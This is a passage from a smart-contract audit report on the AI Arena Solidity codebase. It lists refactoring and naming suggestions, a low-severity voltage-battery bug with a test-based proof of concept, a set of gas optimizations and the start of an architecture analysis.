to setMintpassContract
instantiateNeuronContract
to setNeuronContract
Since they are not actually instantiating anything, set
would be a more appropriate prefix. Just like it is done in setMergingPoolAddress
and setTokenURI
.
[07] Extract constant for custom attributes in FighterFarm.sol
As mentioned by the developers the value 100 is used for custom attributes:
guppy — 02/11/2024 3:50 PM 100 is a flag we use to determine if it’s a custom attribute or not
To avoid sprinkling literals in the codebase and improve it’s readability it is recommended to extract this literal to a constant, something like this:
/// @notice Special value for custom attributes
uint256 private constant CUSTOM_ATTRIBUTE = 100
And replacing it in the following lines: here, here and here.
[08] Rename dendroidBool
to isDendroid
Variable containing its type is redundant in statically typed languages. is
prefix is common convention for boolean values.
Alternatively, replace the value with uint8 fighterType
.
[09] Fix misleading function name and natspec in GameItems.sol
The function instantiateNeuronContract
should be renamed to setNeuronContract
, because it conveys what the function actually does.
Additionally, update the comment, to be more accurate:
- /// @notice Sets the Neuron contract address and instantiates the contract.
+ /// @notice Sets the Neuron contract address.
[10] Send zero bytes as data argument when minting
It’s unusual to have an arbitrary string as the data parameter of the _mint
function. Replace bytes("random")
with "0x"
[11] Missing notice tag in natspec for variables in MergingPool.sol
- /// The address that has owner privileges (initially the contract deployer).
+ /// @notice The address that has owner privileges (initially the contract deployer).
address _ownerAddress;
- /// The address of the ranked battle contract.
+ /// @notice The address of the ranked battle contract.
address _rankedBattleAddress;
Default tag is @notice, but it’s nice to be consistent with the other natspecs.
[12] Incorrect doc string for variable in MergingPool.sol
- /// @notice Mapping of address to fighter points.
+ /// @notice Mapping of fighterId to fighter points.
mapping(uint256 => uint256) public fighterPoints;
[13] Common setup code in tests can be extracted to a base class
Currently, there is a lot of duplicated setup code and variables in the tests. See the setup of:
AiArenaHelper.t.sol
FighterFarm.t.sol
MergingPool.t.sol
RankedBattle.t.sol
StakeAtRisk.t.sol
VoltageManager.t.sol
This can be avoided by creating a Base contract that contains common setup and then each Test contract will do only its own specific configuration.
[14] Misleading function names in RankedBattle.sol
Rename instantiateNeuronContract
to setNeuronContract
, to reflect what the function is actually doing.
Update the natspec:
- /// @notice Instantiates the neuron contract.
+ /// @notice Sets the neuron contract.
Rename instantiateMergingPoolContract
to setMergingPoolContract
, to reflect what the function is actually doing.
Update the natspec:
- /// @notice Instantiates the merging pool contract.
+ /// @notice Sets the merging pool contract.
Rename setNewRound()
to beginNewRound()
. As prefix set implies the caller will specify a roundId, which is not the case. The function actually increments the roundId.
[15] Improvements to updateBattleRecord
function
Create a BattleResult
enum and use it instead of uint8
. This will improve the code readability. It will be easy to understand if we’re looking in the case of a win
and additional comments like /// If the user won the match
will become unnecessary, as the code will be self-documenting.
+ enum BattleResult {
+ win,
+ tie,
+ loss
+ }
function updateBattleRecord(
...
- uint8 battleResult,
+ BattleResult battleResult,
...
)
Rename updateBattleRecord
parameter:
function updateBattleRecord(
...
- bool initiatorBool,
+ bool isInitiator,
...
)
It will convey better the purpose of the variable.
[16] Simplify assert statements
Some assert statements are being unnecessarily complicated, there are overloads that support all cases for comparison of native types. Using the correct APIs increases the readability and expressiveness of code. There are many instances where assert calls can be improved, below I have outlined some general examples.
In the following lines, the ==
operator can be omitted:
- assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true);
+ assertEq(_mergingPoolContract.winnerAddresses(0, 0), _ownerAddress);
- assertEq(mintPass.totalSupply() == mintPass.numTokensOutstanding(), true);
+ assertEq(mintPass.totalSupply(), mintPass.numTokensOutstanding());
Here a specialised assert can be used:
- assertEq(mintPass.mintingPaused(), true);
+ assertTrue(mintPass.mintingPaused());
See
forge-std/lib/ds-test/src/test.sol
for all assert overloads.
Avoid using the Solidity native assert statement, when you can use the APIs from Forge:
- assert(_helperContract.attributeToDnaDivisor("head") != 99);
+ assertNotEq(_helperContract.attributeToDnaDivisor("head"), 99);
[17] Consider replacing decimal multiplier with ether
keyword
Since ether contains 18 decimals it is possible to use the ether
keyword when describing NRN values. It is shorter and conveys the amount just as well.
Example:
- uint256 stakeAmount = 3_000 * 10 ** 18;
+ uint256 stakeAmount = 3_000 ether;
A simple string replace will update all instances correctly, with the exception of 1, which is easy to do manually.
[18] Players lose their current voltage when using a battery
Note: At the judge’s request here, this downgraded issue from the same warden has been included in this report for completeness.
When players deplete their voltage through battles, they have the option to replenish it using a voltage battery. Although the maximum voltage capacity is 100, and each battle reduces it by 10, the useVoltageBattery()
function resets the voltage to 100, disregarding any remaining voltage a player has.
ownerVoltage[msg.sender] = 100;
From a design point of view it looks good to have the number 100 as max and 0 as min value for voltage. But in this situation it is doing players a disservice.
Root cause
The core issue arises from the function overwriting the existing voltage value instead of incrementally adding to it.
Impact
Voltage batteries, as valuable paid items, enable more frequent participation in ranking matches. However, players risk losing up to 90% of their replenished voltage due to the current implementation, leading to potential losses in NRN (the game’s currency).
Scenario
Should a player replenish their voltage without checking their current level, they risk using a battery without receiving its full value, thereby not maximizing the item’s cost-effectiveness.
Proof of Concept
In VoltageManager.t.sol
:
function testLoseVoltageFromBattery() public {
address player = _ownerAddress;
uint8 voltageSpendAmount = 10;
_mintGameItemForReceiver(player);
uint256 currentVoltage = _voltageManagerContract.ownerVoltage(player);
assertEq(currentVoltage, 0);
// battery gives full 100 voltage
_voltageManagerContract.useVoltageBattery();
_voltageManagerContract.spendVoltage(player, voltageSpendAmount);
assertEq(_voltageManagerContract.ownerVoltage(player), 100 - voltageSpendAmount); // 10 voltage just spent
// Call use battery again, for whatever reason
_voltageManagerContract.useVoltageBattery();
// battery gave only 10 voltage
assertEq(_voltageManagerContract.ownerVoltage(player), 100);
}
Suggested Mitigation
Modify the function to add the voltage battery’s value to the existing voltage, rather than resetting it:
function useVoltageBattery() public {
...
- ownerVoltage[msg.sender] = 100;
+ ownerVoltage[msg.sender] += 100;
...
}
01: Good, refactor (explained the impact) 02: Refactor 03: Refactor 04: Refactor 05: Low 06: Refactor 07: Non-critical 08: Refactor 09/14: Refactor/Non-critical 10: Refactor 11/12: Low/Refactor 13: Refactor/Non-critical 15: Refactor 16: Non-critical 17: Non-critical 18: Low
Overall very good and targeted recommendations, found them rather meaningful.
brandinho (AI Arena) acknowledged
Gas Optimizations
For this audit, 36 reports were submitted by wardens detailing gas optimizations. The report highlighted below by 0xDetermination received the top score from the judge.
The following wardens also submitted reports: 0x11singh99, K42, mikesans, hunter_w3b, SY_S, SAQ, SM3_SS, PetarTolev, shamsulhaq123, donkicha, favelanky, dharma09, rekxor, unique, MatricksDeCoder, McToady, Raihan, yashgoel72, yovchev_yoan, ahmedaghadi, lrivo, 0xAnah, al88nsk, merlinboii, offside0011, lsaudit, peter, emrekocak, oualidpro, ziyou-, Timenov, judeabara, 0xRiO, kiqo, and JcFichtner.
Summary
Issue number | Description |
---|---|
[G-01] | Neuron.claim() allowance check is not necessary because transferFrom() also checks allowance |
[G-02] | Neuron.claim() can call code in transferFrom() implementation directly instead of calling transferFrom() |
[G-03] | Neuron.burnFrom() allowance check is not necessary |
[G-04] | RankedBattle._getStakingFactor() accesses the same storage variable a second time whenever it’s called (in stakeNRN() , unstakeNRN() , and updateBattleRecord() ) |
[G-05] | NRN success checks are unnecessary because the OZ implementation will not fail without reverting |
[G-06] | RankedBattle.claimNRN() is gas inefficient for addresses that don’t have any points in previous rounds |
[G-07] | RankedBattle.updateBattleRecord() doesn’t need to check voltage since VoltageManager.spendVoltage() will revert if voltage is too low |
[G-08] | RankedBattle._addResultPoints() can put code inside an existing conditional statement to avoid incrementing storage variables by zero |
[G-09] | RankedBattle._addResultPoints() executes unnecessary lines of code in case of a tie |
[G-10] | Unnecessary equality comparison in RankedBattle._updateRecord() |
[G-11] | FighterFarm.sol inherits ERC721Enumerable but the codebase doesn’t use any of the enumerable methods |
[G-12] | Balance check in FighterFarm.reRoll() is not necessary since transferFrom() will revert in case of insufficient balance |
[G-13] | FighterFarm._beforeTokenTransfer() can be deleted to save an extra function call |
[G-14] | FighterFarm._createFighterBase() performs unnecessary check when minting dendroid |
[G-15] | MergingPool.claimRewards() should update numRoundsClaimed after the loop ends instead of incrementing it in every loop |
[G-16] | MergingPool.pickWinner() and MergingPool.claimRewards() can be refactored so that users don’t have to iterate through the entire array of winners for every round |
[G-17] | DNA rarity calculation in AiArenaHelper.dnaToIndex() can be redesigned to save gas |
[G-18] | AiArenaHelper.createPhysicalAttributes() should check for iconsType before running icons-relevant code since icons fighters are rare |
[G-19] | AiArenaHelper constructor sets probabilities twice |
[G-01]Neuron.claim()
allowance check is not necessary because transferFrom()
also checks allowance
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/Neuron.sol#L139-L142
Description
The require statement below can be removed since transferFrom()
will check/update the allowance.
function claim(uint256 amount) external {
require(
allowance(treasuryAddress, msg.sender) >= amount,
"ERC20: claim amount exceeds allowance"
);
transferFrom(treasuryAddress, msg.sender, amount);
emit TokensClaimed(msg.sender, amount);
}
Recommended Fix
Delete the require statement.
[G-02] Neuron.claim()
can call code in transferFrom()
implementation directly instead of calling transferFrom()
Links
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.9/contracts/token/ERC20/ERC20.sol#L158-L163
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/Neuron.sol#L143
Description
See the OZ transferFrom()
implementation:
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
Neuron.claim()
can run the above code directly without spending extra gas for the function call and to cache msg.sender
.
Recommended Fix
function claim(uint256 amount) external {
require(
allowance(treasuryAddress, msg.sender) >= amount,
"ERC20: claim amount exceeds allowance"
);
- transferFrom(treasuryAddress, msg.sender, amount);
+ _spendAllowance(treasuryAddress, msg.sender, amount);
+ _transfer(treasuryAddress, msg.sender, amount);
emit TokensClaimed(msg.sender, amount);
}
[G-03] Neuron.burnFrom()
allowance check is not necessary
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/Neuron.sol#L196-L204
Description
Note below that if the amount exceeds the allowance, the decreasedAllowance
calculation will underflow and cause a revert. The require
allowance check can be removed.
function burnFrom(address account, uint256 amount) public virtual {
require(
allowance(account, msg.sender) >= amount,
"ERC20: burn amount exceeds allowance"
);
uint256 decreasedAllowance = allowance(account, msg.sender) - amount;
_burn(account, amount);
_approve(account, msg.sender, decreasedAllowance);
}
Recommended Fix
Remove the require statement.
[G-04] RankedBattle._getStakingFactor()
accesses the same storage variable a second time whenever it’s called (in stakeNRN()
, unstakeNRN()
, and updateBattleRecord()
)
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L528
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L253-L258
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L272-L277
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L342
Description
RankedBattle._getStakingFactor()
accesses the storage variable amountStaked[tokenId]
after the three mentioned functions access the same variable (see links). This variable should be cached to decrease storage reads and gas costs.
Recommended Fix
Cache amountStaked[tokenId]
and pass it to _getStakingFactor()
.
[G-05] NRN success
checks are unnecessary because the OZ implementation will not fail without reverting
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L284
Description
The pattern in the link provided (checking for NRN transfer success) is used widely in the codebase, but these checks are unnecessary since transfers won’t fail without reverting.
Recommended Fix
Remove the NRN success
checks.
[G-06] RankedBattle.claimNRN()
is gas inefficient for addresses that don’t have any points in previous rounds
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L294-L311
Description
The for loop in claimNRN()
will start at zero for new users and spend thousands of gas accessing/setting storage in each loop, although the user will not have any rewards in earlier rounds.
function claimNRN() external {
require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period");
uint256 claimableNRN = 0;
uint256 nrnDistribution;
uint32 lowerBound = numRoundsClaimed[msg.sender];
for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
nrnDistribution = getNrnDistribution(currentRound);
claimableNRN += (
accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution
) / totalAccumulatedPoints[currentRound];
numRoundsClaimed[msg.sender] += 1;
}
Recommended Fix
Allow users to set their numRoundsClaimed
to an arbitrary value.
[G-07] RankedBattle.updateBattleRecord()
doesn’t need to check voltage since VoltageManager.spendVoltage()
will revert if voltage is too low
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L334-L338
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/VoltageManager.sol#L110
Description
updateBattleRecord()
checks that the initiator’s voltage is sufficient:
require(
!initiatorBool ||
_voltageManagerInstance.ownerVoltageReplenishTime(fighterOwner) <= block.timestamp ||
_voltageManagerInstance.ownerVoltage(fighterOwner) >= VOLTAGE_COST
);
This check is not necessary, since VoltageManager.spendVoltage()
will revert if the voltage is too low:
function spendVoltage(address spender, uint8 voltageSpent) public {
require(spender == msg.sender || allowedVoltageSpenders[msg.sender]);
if (ownerVoltageReplenishTime[spender] <= block.timestamp) {
_replenishVoltage(spender);
}
ownerVoltage[spender] -= voltageSpent; // UNDERFLOWS AND REVERTS IF VOLTAGE IS TOO LOW
emit VoltageRemaining(spender, ownerVoltage[spender]);
}
Note that this check can also be performed offchain before calling updateBattleRecord()
.
Recommended Fix
Remove the require statement.
[G-08] RankedBattle._addResultPoints()
can put code inside an existing conditional statement to avoid incrementing storage variables by zero
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L466-L471
Description
See the following code from the RankedBattle._addResultPoints()
below. The points
variable can be zero, such as if the player’s mergingFactor
is 100. The lines updating storage variables with points
should be put inside the if
block.
accumulatedPointsPerFighter[tokenId][roundId] += points;
accumulatedPointsPerAddress[fighterOwner][roundId] += points;
totalAccumulatedPoints[roundId] += points;
if (points > 0) {
emit PointsChanged(tokenId, points, true);
}
Recommended Fix
- accumulatedPointsPerFighter[tokenId][roundId] += points;
- accumulatedPointsPerAddress[fighterOwner][roundId] += points;
- totalAccumulatedPoints[roundId] += points;
if (points > 0) {
+ accumulatedPointsPerFighter[tokenId][roundId] += points;
+ accumulatedPointsPerAddress[fighterOwner][roundId] += points;
+ totalAccumulatedPoints[roundId] += points;
emit PointsChanged(tokenId, points, true);
}
[G-09] RankedBattle._addResultPoints()
executes unnecessary lines of code in case of a tie
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L425-L439
Description
RankedBattle._addResultPoints()
runs all of the below code in case of a tie; it’s all setup for the win/lose code blocks, which make up the rest of the function. There’s no more code that runs in case of a tie. The only state modification in this function in case of a tie is updating the stakingFactor if it was not already updated, but since points/stake does not change in case of a tie the update is not necessary.
uint256 stakeAtRisk;
uint256 curStakeAtRisk;
uint256 points = 0;
/// Check how many NRNs the fighter has at risk
stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);
/// Calculate the staking factor if it has not already been calculated for this round
if (_calculatedStakingFactor[tokenId][roundId] == false) {
stakingFactor[tokenId] = _getStakingFactor(tokenId, stakeAtRisk);
_calculatedStakingFactor[tokenId][roundId] = true;
}
/// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
// THE REST OF THE CODE IN THIS FUNCTION ONLY RUNS IN CASE OF A WIN OR LOSS
Recommended Fix
Cut the code above and paste it at the top of both the win and lose blocks.
[G-10] Unnecessary equality comparison in RankedBattle._updateRecord()
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L505-L513
Description
There are only three cases for battleResult
, so below it’s not necessary to check the result 3 times. An else
block can replace the second else if
block.
function _updateRecord(uint256 tokenId, uint8 battleResult) private {
if (battleResult == 0) {
fighterBattleRecord[tokenId].wins += 1;
} else if (battleResult == 1) {
fighterBattleRecord[tokenId].ties += 1;
} else if (battleResult == 2) {
fighterBattleRecord[tokenId].loses += 1;
}
}
Recommended Fix
- } else if (battleResult == 2) {
+ } else {
[G-11] FighterFarm.sol
inherits ERC721Enumerable
but the codebase doesn’t use any of the enumerable methods
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L16
Description
Solely inheriting ERC721
in the FighterFarm
contract would save on deployment costs since the codebase doesn’t use the enumerable methods.
Recommended Fix
If desired, don’t inherit from ERC721Enumerable
.
[G-12] Balance check in FighterFarm.reRoll()
is not necessary since transferFrom()
will revert in case of insufficient balance
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L373
Description
In the function below, the balance require check is not necessary due to transferFrom()
implementation.
function reRoll(uint8 tokenId, uint8 fighterType) public {
require(msg.sender == ownerOf(tokenId));
require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll"); //Can delete
_neuronInstance.approveSpender(msg.sender, rerollCost);
bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost); //Will revert if balance is insufficient
Recommended Fix
Delete the balanceOf()
require check.
[G-13] FighterFarm._beforeTokenTransfer()
can be deleted to save an extra function call
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L451
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.9/contracts/token/ERC721/extensions/ERC721Enumerable.sol#L60
Description
Note the code below:
contract FighterFarm is ERC721, ERC721Enumerable {
...
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
Inheritance in solidity is right-to-left and super._beforeTokenTransfer(from, to, tokenId);
will call the _beforeTokenTransfer()
method in ERC721Enumerable
. Therefore, this function can be deleted and the functionality will be the same while eliminating an extra function call and saving gas.
Recommended Fix
Remove FighterFarm._beforeTokenTransfer()
.
[G-14] FighterFarm._createFighterBase()
performs unnecessary check when minting dendroid
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L484-L531
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L462-L474
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/AiArenaHelper.sol#L83-L94
Description
Notice below that _createNewFighter()
only uses newDna
when calling AiArenaHelper.createPhysicalAttributes()
:
function _createNewFighter(
...
uint256 element;
uint256 weight;
uint256 newDna;
if (customAttributes[0] == 100) {
(element, weight, newDna) = _createFighterBase(dna, fighterType);
}
else {
element = customAttributes[0];
weight = customAttributes[1];
newDna = dna;
}
uint256 newId = fighters.length;
bool dendroidBool = fighterType == 1;
FighterOps.FighterPhysicalAttributes memory attrs = _aiArenaHelperInstance.createPhysicalAttributes(
newDna,
generation[fighterType],
iconsType,
dendroidBool
);
//newDna is not used after this point
...
function _createFighterBase(
uint256 dna,
uint8 fighterType
)
private
view
returns (uint256, uint256, uint256)
{
uint256 element = dna % numElements[generation[fighterType]];
uint256 weight = dna % 31 + 65;
uint256 newDna = fighterType == 0 ? dna : uint256(fighterType); //This check is not needed
return (element, weight, newDna);
}
The above check in _createFighterBase()
that sets dendroid fighters’ (fighterType
equals 1) newDna
to a different value is not necessary, because newDna
will not be used in AiArenaHelper.createPhysicalAttributes()
when creating a dendroid and there are only two fighter types:
function createPhysicalAttributes(
uint256 dna,
uint8 generation,
uint8 iconsType,
bool dendroidBool
)
external
view
returns (FighterOps.FighterPhysicalAttributes memory)
{
if (dendroidBool) {
return FighterOps.FighterPhysicalAttributes(99, 99, 99, 99, 99, 99);
Recommended Fix
Instances of newDna
can be removed and dna
used instead, since dna
will not change for non-dendroid fighters and newDna
is not used when creating a dendroid fighter.
[G-15] MergingPool.claimRewards()
should update numRoundsClaimed
after the loop ends instead of incrementing it in every loop
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L150
Description
The below code is not gas efficient due to SSTORE/SLOAD of the numRoundsClaimed
state variable in every loop.
function claimRewards(
string[] calldata modelURIs,
string[] calldata modelTypes,
uint256[2][] calldata customAttributes
)
external
{
uint256 winnersLength;
uint32 claimIndex = 0;
uint32 lowerBound = numRoundsClaimed[msg.sender];
for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
numRoundsClaimed[msg.sender] += 1;
Recommended Fix
Instead of incrementing the state variable in every loop, increment a local variable and then update the state variable after the loop ends.
[G-16] MergingPool.pickWinner()
and MergingPool.claimRewards()
can be refactored so that users don’t have to iterate through the entire array of winners for every round
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L151-L153
Description
Notice how claimRewards()
detects if the caller has rewards to claim in a round:
winnersLength = winnerAddresses[currentRound].length;
for (uint32 j = 0; j < winnersLength; j++) {
if (msg.sender == winnerAddresses[currentRound][j]) {
This method is very gas inefficient since winnerAddresses
is in storage.
Recommended Fix
Instead of iterating through all the winner addresses in every round, MergingPool.pickWinner()
and MergingPool.claimRewards()
could be refactored to increment a new state variable tracking number of rewards (per round, if desired).
[G-17] DNA rarity calculation in AiArenaHelper.dnaToIndex()
can be redesigned to save gas
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/AiArenaHelper.sol#L108
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/AiArenaHelper.sol#L169-L186
Description
dnaToIndex()
is called inside a loop for all the fighter physical properties (see first link), which consumes a lot of gas due to storage loads. The system of calculating attributeProbabilityIndex
by looping through the probabilities and comparing the cumProb
to rarityRank
could be refactored to retain the same functionality but save a lot of gas.
dnaToIndex()
function below for reader convenience:
function dnaToIndex(uint256 generation, uint256 rarityRank, string memory attribute)
public
view
returns (uint256 attributeProbabilityIndex)
{
uint8[] memory attrProbabilities = getAttributeProbabilities(generation, attribute);
uint256 cumProb = 0;
uint256 attrProbabilitiesLength = attrProbabilities.length;
for (uint8 i = 0; i < attrProbabilitiesLength; i++) {
cumProb += attrProbabilities[i];
if (cumProb >= rarityRank) {
attributeProbabilityIndex = i + 1;
break;
}
}
return attributeProbabilityIndex;
}
Recommended Fix
Refactor attribute index/rarity calculation.
[G-18] AiArenaHelper.createPhysicalAttributes()
should check for iconsType
before running icons-relevant code since icons fighters are rare
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/AiArenaHelper.sol#L100-L105
Description
Since icon fighter NFTs are rare, the below checks related to icons should not run for non-icon fighters.
for (uint8 i = 0; i < attributesLength; i++) {
if (
i == 0 && iconsType == 2 || // Custom icons head (beta helmet)
i == 1 && iconsType > 0 || // Custom icons eyes (red diamond)
i == 4 && iconsType == 3 // Custom icons hands (bowling ball)
) {
finalAttributeProbabilityIndexes[i] = 50;
} else {
//set finalAttributeProbabilityIndexes[i] a different way
Recommended Fix
Instead of running through all 3 icons checks every time, check to see if iconsType
is greater than zero before running through the 3 checks.
[G-19] AiArenaHelper
constructor sets probabilities twice
Links
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/AiArenaHelper.sol#L41-L52
Description
Notice below that the constructor sets the probabilities twice:
constructor(uint8[][] memory probabilities) {
_ownerAddress = msg.sender;
// Initialize the probabilities for each attribute
addAttributeProbabilities(0, probabilities);
uint256 attributesLength = attributes.length;
for (uint8 i = 0; i < attributesLength; i++) {
attributeProbabilities[0][attributes[i]] = probabilities[i];
attributeToDnaDivisor[attributes[i]] = defaultAttributeDivisor[i];
}
}
Recommended Fix
Remove the for
loop.
brandinho (AI Arena) confirmed
Audit Analysis
For this audit, 42 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The report highlighted below by 0xSmartContract received the top score from the judge.
The following wardens also submitted reports: yongskiws, 0xepley, aariiif, hunter_w3b, ZanyBonzy, 14si2o_Flint, klau5, popeye, 0xweb3boy, rspadi, hassanshakeel13, ansa-zanjbeel, Rolezn, cheatc0d3, peanuts, tala7985, 0xbrett8571, wahedtalash77, fouzantanveer, foxb868, Myd, 0xblack_bird, 0xDetermination, cudo, 0xStriker, SAQ, clara, scokaf, 0xAsen, albahaca, dimulski, McToady, K42, PoeAudits, JayShreeRAM, pipidu83, shaflow2, Bauchibred, JcFichtner, DarkTower, and kaveyjoe.
Summary
List | Head | Details |
---|---|---|
a) | The approach I followed when reviewing the code | Stages in my code review and analysis |
b) | Analysis of the code base | What is unique? How are the existing patterns used? “Solidity-metrics” was used |
c) | Test analysis | Test scope of the project and quality of tests |
d) | Security Approach of the Project | Audit approach of the Project |
e) | Other Audit Reports and Automated Findings | What are the previous Audit reports and their analysis |
f) | Packages and Dependencies Analysis | Details about the project Packages |
g) | Other recommendations | What is unique? How are the existing patterns used? |
h) | New insights and learning from this audit | Things learned from the project |
Approach
First, by examining the scope of the code, I determined my code review and analysis strategy. https://github.com/code-423n4/2024-02-ai-arena
Accordingly, I analyzed and audited the subject in the following steps;
Number | Stage | Details | Information |
---|---|---|---|
1 | Compile and Run Test | Installation | Test and installation structure is simple, cleanly designed |
2 | Architecture Review | AI Arena | Provides a basic architectural teaching for General Architecture |
3 | Graphical Analysis | Graphical Analysis with Solidity-metrics | A visual view has been made to dominate the general structure of the codes of the project. |
4 | Slither Analysis | Slither Report | |
5 | Test Suits | Tests | In this section, the scope and content of the tests of the project are analyzed. |
6 | Manuel Code Review | Scope | |
7 | Infographic | Figma | I made Visual drawings to understand the hard-to-understand mechanisms |
8 | Special focus on Areas of Concern | Areas of Concern |
Analysis of the code base
The most important summary in analyzing the code base is the stacking of codes to be analyzed. In this way, many predictions can be made, including the difficulty levels of the contracts, which one is more important for the auditor, the features they contain that are important for security (payable functions, uses assembly, etc.), the audit cost of the project, and the time to be allocated to the audit
In addition, the auditor can decide on the question of where should I end the audit by examining these metrics;
Uses Consensys Solidity Metrics
- Lines: total lines of the source unit
- nLines: normalized lines of the source unit (e.g. normalizes functions spanning multiple lines)
- nSLOC: normalized source lines of code (only source-code lines; no comments, no blank lines)
- Comment Lines: lines containing single or block comments
- Complexity Score: a custom complexity score derived from code statements that are known to introduce code complexity (branches, loops, calls, external interfaces, …)
Project - Entry Point - FighterFarm.sol ;
- The
reRoll
function implements business logic after the_neuronInstance.transferFrom
call. This may result in thereRoll
function being called again and causing unexpected behavior. Always implement business logic before the call -
DoS: The
redeemMintPass
function uses a loop to burn multiple mint passes. If theburn
operation for amintpassIdToBurn
fails, the entire operation is rolled back. This could lead to a malicious user making this function of the contract unusable, causing the transaction to fail.- Recommendation: Manage each
burn
operation separately usingtry-catch
and log the failed ones.
- Recommendation: Manage each
-
Unchecked Return Values: The return value of the
_neuronInstance.transferFrom
call in thereRoll
function is not checked. This could cause the transaction to fail silently if the transfer fails.- Recommendation: Check the return value to verify that the transfer was successful.
-
Front-Running:
claimFighters
andredeemMintPass
functions allow users to create NFTs based on certain parameters. Publicly publishing these parameters (e.g.,modelHashes
) on the blockchain carries the risk that malicious users can see the transaction and take action in their favor (e.g., pre-snatch more valuable NFTs).- Recommendation: Prevent such front-running attacks by using commit-reveal scheme.
Gas Optimizations
-
Gas Optimization: Frequently used
length
calls withinfor
loops can increase gas costs. Especially in theredeemMintPass
andclaimFighters
functions, the loop callsfighters.length
at each iteration.- Suggestion: Store
length
in a variable before the loop and use this variable inside the loop.
- Suggestion: Store
-
Use of ERC721 and ERC721Enumerable:
ERC721Enumerable
maintains a list of all tokens, which can significantly increase gas costs for large collections.- Recommendation: If your collection is large and the list of tokens owned by each user is not needed frequently, you may consider removing
ERC721Enumerable
.
- Recommendation: If your collection is large and the list of tokens owned by each user is not needed frequently, you may consider removing
Note: Please click on the image to enlarge it
RankedBattle.sol
1. DoS (Denial of Service) Risk:
- The
updateBattleRecord
function may consume a lot of gas under certain conditions or be exploited by a malicious user. For example, very higheloFactor
values may cause the operation to fail.
2. Magic Numbers:
- Constant values such as
VOLTAGE_COST
orbpsLostPerLoss
are used directly in various places in the code. Documenting the meaning of these values and why they were chosen makes the code easier to read and maintain.
3. Function Visibility and Modifiers:
- Using
modifier
for authorization checks reduces code repetition and increases readability.
Gas Optimizations
1. Optimization on Frequently Called Functions:
- It is important to optimize calculations to reduce gas costs in frequently called functions such as
updateBattleRecord
. For example, calculations with constant values can be precomputed.
2. Loops and Big Data Structures:
- Using loops on large data structures can increase gas cost. In functions like
getUnclaimedNRN
, limiting the maximum number of rounds users can take or organizing data structures more efficiently can save gas.
3. Optimization of Access to State Variables:
- Gas can be saved by copying frequently accessed
state
variables tomemory
variables and performing operations on these variables.
Note: Please click on the image to enlarge it
MergingPool.sol
This Solidity contract includes a management and reward distribution mechanism that provides a number of special functionalities. Below are brief summaries of the contract’s functions and constructor:
Constructor
- Constructor: The contract owner sets the ranked battle contract and warrior farm contract addresses. The contract identifies the owner as an admin.
External Functions
- transferOwnership: Transfers contract ownership to another address. Can only be summoned by the current owner.
- adjustAdminAccess: Grants or removes admin access to a specific address. Can only be summoned by its owner.
- updateWinnersPerPeriod: Updates the number of winners per contest period. It can only be called by admins.
- pickWinner: Picks the winners for the current round. The number of winners must match the expected number of winners per period. It can only be called by admins.
- claimRewards: Allows users to collectively claim rewards for multiple rounds. The user can only claim rewards once per round.
Public Functions
- addPoints: Adds merge pool points to a warrior. It can only be summoned by the ranked battle contract address.
- getFighterPoints: Gets points of fighters up to the specified maximum token ID.
Architecture Summary This contract provides a reward and management system for warriors. Warriors can earn points through ranked battles and other events. Admins can select winners during certain periods, and these winners can claim their rewards to create new fighters with specific model URIs, model types, and special features. Users can view and claim the number of rewards they have earned.
The contract protects management functions with a strict access control mechanism, allowing only certain addresses (owner and admins) to perform management functions and reward distribution. This ensures the security of the contract and the correct use of its functionality. It also offers a mechanism to manage points from ranked battles and other events, rewarding warriors’ performance and participation.
